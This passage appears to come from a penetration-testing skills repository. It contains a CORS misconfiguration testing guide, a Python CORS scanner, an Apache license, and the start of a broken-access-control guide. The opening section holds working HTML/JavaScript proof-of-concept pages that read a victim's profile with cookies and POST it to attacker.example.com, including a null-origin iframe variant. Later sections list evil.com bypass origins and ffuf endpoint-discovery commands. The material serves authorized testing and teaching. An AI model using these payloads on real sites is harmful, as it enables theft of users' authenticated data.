Build an HTML page that exploits the CORS misconfiguration to steal data.
|
||||
|
||||
```html
|
||||
<!-- cors-exploit.html - Host on attacker server -->
|
||||
<html>
|
||||
<head><title>CORS PoC</title></head>
|
||||
<body>
|
||||
<h1>CORS Exploitation Proof of Concept</h1>
|
||||
<div id="result"></div>
|
||||
<script>
|
||||
// Exploit: Read victim's profile data cross-origin
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState === 4) {
|
||||
// Data successfully stolen cross-origin
|
||||
document.getElementById('result').innerText = xhr.responseText;
|
||||
|
||||
// Exfiltrate to attacker server
|
||||
var exfil = new XMLHttpRequest();
|
||||
exfil.open('POST', 'https://attacker.example.com/collect', true);
|
||||
exfil.setRequestHeader('Content-Type', 'application/json');
|
||||
exfil.send(xhr.responseText);
|
||||
}
|
||||
};
|
||||
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
|
||||
xhr.withCredentials = true; // Include victim's cookies
|
||||
xhr.send();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
```html
|
||||
<!-- Exploit using fetch API -->
|
||||
<script>
|
||||
fetch('https://api.target.example.com/api/user/profile', {
|
||||
credentials: 'include'
|
||||
})
|
||||
.then(response => response.json())
|
||||
.then(data => {
|
||||
// Steal sensitive data
|
||||
fetch('https://attacker.example.com/collect', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(data)
|
||||
});
|
||||
console.log('Stolen data:', data);
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
### Step 5: Exploit Null Origin Vulnerability
|
||||
|
||||
If `Origin: null` is allowed, exploit via sandboxed iframes.
|
||||
|
||||
```html
|
||||
<!-- null-origin-exploit.html -->
|
||||
<html>
|
||||
<body>
|
||||
<h1>Null Origin CORS Exploit</h1>
|
||||
<!--
|
||||
Sandboxed iframe sends requests with Origin: null
|
||||
If server reflects Access-Control-Allow-Origin: null with credentials,
|
||||
data can be exfiltrated
|
||||
-->
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
|
||||
srcdoc="
|
||||
<script>
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onload = function() {
|
||||
// Send stolen data to parent or attacker server
|
||||
fetch('https://attacker.example.com/collect', {
|
||||
method: 'POST',
|
||||
body: xhr.responseText
|
||||
});
|
||||
};
|
||||
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
|
||||
xhr.withCredentials = true;
|
||||
xhr.send();
|
||||
</script>
|
||||
"></iframe>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
<!-- Alternative: data: URI for null origin -->
|
||||
<!-- Open in browser: data:text/html,<script>...</script> -->
|
||||
```
|
||||
|
||||
### Step 6: Test for Internal Network Access via CORS
|
||||
|
||||
Check if CORS allows access from internal origins that could be leveraged via XSS.
|
||||
|
||||
```bash
|
||||
# Test internal/development origins
|
||||
INTERNAL_ORIGINS=(
|
||||
"http://localhost"
|
||||
"http://localhost:3000"
|
||||
"http://localhost:8080"
|
||||
"http://127.0.0.1"
|
||||
"http://192.168.1.1"
|
||||
"http://10.0.0.1"
|
||||
"https://staging.target.example.com"
|
||||
"https://dev.target.example.com"
|
||||
"https://test.target.example.com"
|
||||
)
|
||||
|
||||
for origin in "${INTERNAL_ORIGINS[@]}"; do
|
||||
echo -n "$origin: "
|
||||
curl -s -I -H "Origin: $origin" \
|
||||
"https://api.target.example.com/api/user/profile" | \
|
||||
grep -i "access-control-allow-origin" | tr -d '\r'
|
||||
echo
|
||||
done
|
||||
|
||||
# If internal origins are allowed and have XSS:
|
||||
# 1. Find XSS on http://subdomain.target.example.com
|
||||
# 2. Use XSS to make CORS request to api.target.example.com
|
||||
# 3. Exfiltrate data via the XSS + CORS chain
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Concept | Description |
|
||||
|---------|-------------|
|
||||
| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another |
|
||||
| **CORS** | Mechanism allowing servers to specify which origins can access their resources |
|
||||
| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) |
|
||||
| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects |
|
||||
| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions |
|
||||
| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |
|
||||
| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| **Burp Suite Professional** | Intercepting requests and modifying Origin headers |
|
||||
| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) |
|
||||
| **cors-scanner** | Node.js-based CORS testing tool |
|
||||
| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context |
|
||||
| **Python http.server** | Hosting CORS exploit PoC pages |
|
||||
| **OWASP ZAP** | Automated CORS misconfiguration detection |
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario 1: Full Origin Reflection
|
||||
The API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data.
|
||||
|
||||
### Scenario 2: Null Origin Allowed
|
||||
The server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.
|
||||
|
||||
### Scenario 3: Subdomain Wildcard Trust
|
||||
The CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain.
|
||||
|
||||
### Scenario 4: Regex Bypass on Origin Validation
|
||||
The server uses regex `target\.example\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access.
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
## CORS Misconfiguration Finding
|
||||
|
||||
**Vulnerability**: CORS Origin Reflection with Credentials
|
||||
**Severity**: High (CVSS 8.1)
|
||||
**Location**: All /api/* endpoints on api.target.example.com
|
||||
**OWASP Category**: A01:2021 - Broken Access Control
|
||||
|
||||
### CORS Configuration Observed
|
||||
| Header | Value |
|
||||
|--------|-------|
|
||||
| Access-Control-Allow-Origin | [Reflects request Origin] |
|
||||
| Access-Control-Allow-Credentials | true |
|
||||
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
|
||||
| Access-Control-Expose-Headers | X-Auth-Token |
|
||||
|
||||
### Origin Validation Results
|
||||
| Origin Tested | Reflected | Credentials |
|
||||
|---------------|-----------|-------------|
|
||||
| https://evil.com | Yes | Yes |
|
||||
| null | Yes | Yes |
|
||||
| http://localhost | Yes | Yes |
|
||||
| https://evil.target.example.com | Yes | Yes |
|
||||
|
||||
### Impact
|
||||
- Any website can read authenticated API responses in victim's browser
|
||||
- User profile data (email, phone, address) exfiltrable
|
||||
- Session tokens exposed via X-Auth-Token header
|
||||
- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
|
||||
|
||||
### Recommendation
|
||||
1. Implement a strict allowlist of trusted origins
|
||||
2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin
|
||||
3. Do not allow Origin: null with credentials
|
||||
4. Validate origins with exact string matching, not regex substring matching
|
||||
5. Set Access-Control-Max-Age to a reasonable value (600 seconds)
|
||||
```
|
||||
@@ -0,0 +1,50 @@
|
||||
# API Reference: Testing CORS Misconfiguration
|
||||
|
||||
## requests Library
|
||||
|
||||
### Key Methods for CORS Testing
|
||||
```python
|
||||
# Test origin reflection
|
||||
resp = requests.get(url, headers={"Origin": "https://evil.com"})
|
||||
|
||||
# Test preflight
|
||||
resp = requests.options(url, headers={
|
||||
"Origin": "https://evil.com",
|
||||
"Access-Control-Request-Method": "PUT",
|
||||
"Access-Control-Request-Headers": "Authorization"
|
||||
})
|
||||
```
|
||||
|
||||
## CORS Response Headers
|
||||
| Header | Description |
|
||||
|--------|-------------|
|
||||
| `Access-Control-Allow-Origin` | Specifies allowed origin(s) |
|
||||
| `Access-Control-Allow-Credentials` | Whether cookies/auth headers are sent |
|
||||
| `Access-Control-Allow-Methods` | Allowed HTTP methods for cross-origin |
|
||||
| `Access-Control-Allow-Headers` | Allowed request headers |
|
||||
| `Access-Control-Expose-Headers` | Headers accessible to JavaScript |
|
||||
| `Access-Control-Max-Age` | Preflight cache duration in seconds |
|
||||
|
||||
## Vulnerability Patterns
|
||||
| Pattern | Severity | Description |
|
||||
|---------|----------|-------------|
|
||||
| Origin reflection + credentials | Critical | Any site can read authenticated responses |
|
||||
| Null origin + credentials | High | Exploitable via sandboxed iframes |
|
||||
| Wildcard + credentials | Critical | Invalid but sometimes misconfigured |
|
||||
| Subdomain wildcard trust | Medium | XSS on subdomain enables CORS abuse |
|
||||
| Regex bypass | High | Prefix/suffix matching allows attacker domains |
|
||||
| Internal origins trusted | Medium | localhost/10.x accepted in production |
|
||||
|
||||
## Testing Checklist
|
||||
1. Send `Origin: https://evil.com` - check if reflected in ACAO
|
||||
2. Send `Origin: null` - check if null is accepted
|
||||
3. Test subdomain variations of target domain
|
||||
4. Test prefix/suffix bypass: `target.com.evil.com`
|
||||
5. Test protocol downgrade: `http://` instead of `https://`
|
||||
6. Check preflight Max-Age (>86400 is excessive)
|
||||
7. Verify wildcard `*` is not combined with credentials
|
||||
|
||||
## References
|
||||
- MDN CORS: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
|
||||
- PortSwigger CORS: https://portswigger.net/web-security/cors
|
||||
- OWASP CORS Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing
|
||||
@@ -0,0 +1,206 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for testing CORS misconfiguration vulnerabilities during authorized assessments."""
|
||||
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
import argparse
|
||||
import urllib3
|
||||
from datetime import datetime
|
||||
from urllib.parse import urlparse
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
|
||||
EVIL_ORIGINS = [
|
||||
"https://evil.com",
|
||||
"null",
|
||||
"http://localhost",
|
||||
"http://localhost:3000",
|
||||
"http://127.0.0.1",
|
||||
]
|
||||
|
||||
|
||||
def build_dynamic_origins(target_domain):
|
||||
"""Generate domain-specific bypass origins for testing."""
|
||||
return [
|
||||
f"https://evil.{target_domain}",
|
||||
f"https://{target_domain}.evil.com",
|
||||
f"https://evil{target_domain}",
|
||||
f"http://{target_domain}",
|
||||
f"https://sub.{target_domain}",
|
||||
]
|
||||
|
||||
|
||||
def test_origin_reflection(url, origins, cookies=None):
|
||||
"""Test if server reflects arbitrary Origin headers."""
|
||||
print(f"\n[*] Testing origin reflection on {url}")
|
||||
findings = []
|
||||
for origin in origins:
|
||||
try:
|
||||
headers = {"Origin": origin}
|
||||
resp = requests.get(url, headers=headers, cookies=cookies,
|
||||
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
acao = resp.headers.get("Access-Control-Allow-Origin", "")
|
||||
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
|
||||
if acao and acao != "":
|
||||
reflected = acao == origin
|
||||
creds = acac.lower() == "true"
|
||||
severity = "CRITICAL" if reflected and creds else (
|
||||
"HIGH" if reflected else "INFO")
|
||||
if reflected:
|
||||
findings.append({
|
||||
"url": url, "origin": origin, "acao": acao,
|
||||
"credentials": creds, "severity": severity,
|
||||
})
|
||||
cred_str = " + credentials" if creds else ""
|
||||
print(f" [{'!' if severity != 'INFO' else '+'}] Origin '{origin}' -> "
|
||||
f"ACAO: {acao}{cred_str} [{severity}]")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def test_preflight(url, origin="https://evil.com"):
|
||||
"""Test OPTIONS preflight request handling."""
|
||||
print(f"\n[*] Testing preflight (OPTIONS) on {url}")
|
||||
findings = []
|
||||
methods_to_test = ["GET", "POST", "PUT", "DELETE", "PATCH"]
|
||||
for method in methods_to_test:
|
||||
try:
|
||||
headers = {
|
||||
"Origin": origin,
|
||||
"Access-Control-Request-Method": method,
|
||||
"Access-Control-Request-Headers": "Authorization, Content-Type",
|
||||
}
|
||||
resp = requests.options(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
acam = resp.headers.get("Access-Control-Allow-Methods", "")
|
||||
acah = resp.headers.get("Access-Control-Allow-Headers", "")
|
||||
max_age = resp.headers.get("Access-Control-Max-Age", "")
|
||||
if method in acam:
|
||||
print(f" [+] {method} allowed in preflight")
|
||||
if max_age and int(max_age) > 86400:
|
||||
findings.append({
|
||||
"url": url, "issue": "excessive_max_age",
|
||||
"max_age": max_age, "severity": "MEDIUM",
|
||||
})
|
||||
print(f" [!] Max-Age too long: {max_age}s (>86400)")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def test_wildcard_with_credentials(url):
|
||||
"""Test for wildcard CORS with credentials (invalid but sometimes misconfigured)."""
|
||||
print(f"\n[*] Testing wildcard + credentials on {url}")
|
||||
try:
|
||||
resp = requests.get(url, headers={"Origin": "https://any.com"},
|
||||
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
acao = resp.headers.get("Access-Control-Allow-Origin", "")
|
||||
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
|
||||
if acao == "*" and acac.lower() == "true":
|
||||
print(f" [!] CRITICAL: Wildcard (*) with credentials=true")
|
||||
return [{"url": url, "issue": "wildcard_with_credentials", "severity": "CRITICAL"}]
|
||||
elif acao == "*":
|
||||
print(f" [+] Wildcard (*) without credentials (acceptable for public APIs)")
|
||||
except requests.RequestException:
|
||||
pass
|
||||
return []
|
||||
|
||||
|
||||
def test_null_origin(url, cookies=None):
|
||||
"""Test if null Origin is accepted (exploitable via sandboxed iframes)."""
|
||||
print(f"\n[*] Testing null origin on {url}")
|
||||
try:
|
||||
resp = requests.get(url, headers={"Origin": "null"}, cookies=cookies,
|
||||
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
acao = resp.headers.get("Access-Control-Allow-Origin", "")
|
||||
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
|
||||
if acao == "null":
|
||||
creds = acac.lower() == "true"
|
||||
severity = "HIGH" if creds else "MEDIUM"
|
||||
print(f" [!] Null origin accepted (credentials: {creds}) [{severity}]")
|
||||
return [{"url": url, "issue": "null_origin_accepted",
|
||||
"credentials": creds, "severity": severity}]
|
||||
else:
|
||||
print(f" [+] Null origin not reflected")
|
||||
except requests.RequestException:
|
||||
pass
|
||||
return []
|
||||
|
||||
|
||||
def test_internal_origins(url, cookies=None):
|
||||
"""Test if internal/development origins are trusted."""
|
||||
print(f"\n[*] Testing internal origins on {url}")
|
||||
internal = [
|
||||
"http://localhost", "http://localhost:3000", "http://localhost:8080",
|
||||
"http://127.0.0.1", "http://10.0.0.1", "http://192.168.1.1",
|
||||
]
|
||||
findings = []
|
||||
for origin in internal:
|
||||
try:
|
||||
resp = requests.get(url, headers={"Origin": origin}, cookies=cookies,
|
||||
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
acao = resp.headers.get("Access-Control-Allow-Origin", "")
|
||||
if acao == origin:
|
||||
findings.append({"url": url, "origin": origin, "severity": "MEDIUM"})
|
||||
print(f" [!] Internal origin accepted: {origin}")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def scan_endpoints(base_url, endpoints, token=None):
|
||||
"""Scan multiple endpoints for CORS issues."""
|
||||
all_findings = []
|
||||
cookies = None
|
||||
headers_auth = {"Authorization": f"Bearer {token}"} if token else {}
|
||||
domain = urlparse(base_url).netloc
|
||||
dynamic_origins = build_dynamic_origins(domain)
|
||||
test_origins = EVIL_ORIGINS + dynamic_origins
|
||||
|
||||
for endpoint in endpoints:
|
||||
url = f"{base_url.rstrip('/')}/{endpoint.lstrip('/')}"
|
||||
all_findings.extend(test_origin_reflection(url, test_origins))
|
||||
all_findings.extend(test_null_origin(url))
|
||||
all_findings.extend(test_wildcard_with_credentials(url))
|
||||
all_findings.extend(test_preflight(url))
|
||||
all_findings.extend(test_internal_origins(url))
|
||||
return all_findings
|
||||
|
||||
|
||||
def generate_report(findings, output_path):
|
||||
"""Generate CORS misconfiguration assessment report."""
|
||||
report = {
|
||||
"assessment_date": datetime.now().isoformat(),
|
||||
"total_findings": len(findings),
|
||||
"by_severity": {},
|
||||
"findings": findings,
|
||||
}
|
||||
for f in findings:
|
||||
sev = f.get("severity", "INFO")
|
||||
report["by_severity"][sev] = report["by_severity"].get(sev, 0) + 1
|
||||
with open(output_path, "w") as fh:
|
||||
json.dump(report, fh, indent=2)
|
||||
print(f"\n[*] Report saved to {output_path}")
|
||||
for sev, count in report["by_severity"].items():
|
||||
print(f" {sev}: {count}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="CORS Misconfiguration Testing Agent")
|
||||
parser.add_argument("base_url", help="Base URL of the target")
|
||||
parser.add_argument("--endpoints", nargs="+",
|
||||
default=["/api/user/profile", "/api/users", "/api/account"])
|
||||
parser.add_argument("--token", help="Bearer token for authenticated testing")
|
||||
parser.add_argument("-o", "--output", default="cors_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
print(f"[*] CORS Misconfiguration Assessment")
|
||||
print(f"[*] Target: {args.base_url}")
|
||||
findings = scan_endpoints(args.base_url, args.endpoints, args.token)
|
||||
generate_report(findings, args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,369 @@
|
||||
---
|
||||
name: testing-for-broken-access-control
|
||||
description: Systematically tests web applications and APIs for broken access control
|
||||
(OWASP A01:2021), including privilege escalation, missing function-level checks, insecure
|
||||
direct object references, and multi-tenant data leakage, using Burp Suite with the
|
||||
Authorize extension. Use during authorized penetration tests or RBAC/multi-tenant
|
||||
authorization audits.
|
||||
domain: cybersecurity
|
||||
subdomain: web-application-security
|
||||
tags:
|
||||
- penetration-testing
|
||||
- access-control
|
||||
- authorization
|
||||
- owasp
|
||||
- privilege-escalation
|
||||
- web-security
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.PS-01
|
||||
- ID.RA-01
|
||||
- PR.DS-10
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1190
|
||||
- T1059.007
|
||||
- T1505.003
|
||||
- T1083
|
||||
- T1068
|
||||
---
|
||||
|
||||
# Testing for Broken Access Control
|
||||
|
||||
## When to Use
|
||||
|
||||
- During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control
|
||||
- When evaluating role-based access control (RBAC) implementations across all application endpoints
|
||||
- For testing multi-tenant applications where users in one organization should not access another's data
|
||||
- When assessing API endpoints for missing or inconsistent authorization checks
|
||||
- During security audits where privilege escalation and unauthorized access are primary concerns
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- **Authorization**: Written penetration testing agreement for the target
|
||||
- **Burp Suite Professional**: With Authorize extension for automated access control testing
|
||||
- **Multiple test accounts**: Accounts at each role level (admin, manager, user, guest)
|
||||
- **Application role matrix**: Documentation of what each role should and should not access
|
||||
- **curl/httpie**: For manual endpoint testing with different authentication contexts
|
||||
- **ffuf**: For discovering hidden endpoints that may lack access controls
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Map All Endpoints and Create Access Control Matrix
|
||||
|
||||
Document every endpoint and the expected access level for each role.
|
||||
|
||||
```bash
|
||||
# Extract all endpoints from Burp Site Map
|
||||
# Target > Site Map > Right-click > Copy URLs in this host
|
||||
|
||||
# Build a matrix of endpoints vs roles:
|
||||
# | Endpoint | Admin | Manager | User | Guest |
|
||||
# |-----------------------|-------|---------|------|-------|
|
||||
# | GET /admin/dashboard | Allow | Deny | Deny | Deny |
|
||||
# | GET /api/users | Allow | Allow | Deny | Deny |
|
||||
# | PUT /api/users/{id} | Allow | Deny | Own | Deny |
|
||||
# | DELETE /api/posts/{id} | Allow | Allow | Own | Deny |
|
||||
|
||||
# Discover hidden endpoints
|
||||
ffuf -u "https://target.example.com/FUZZ" \
|
||||
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
|
||||
-mc 200,301,302,403 -fc 404 \
|
||||
-H "Authorization: Bearer $USER_TOKEN" \
|
||||
-o endpoints.json -of json
|
||||
|
||||
# API endpoint discovery
|
||||
ffuf -u "https://target.example.com/api/v1/FUZZ" \
|
||||
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
|
||||
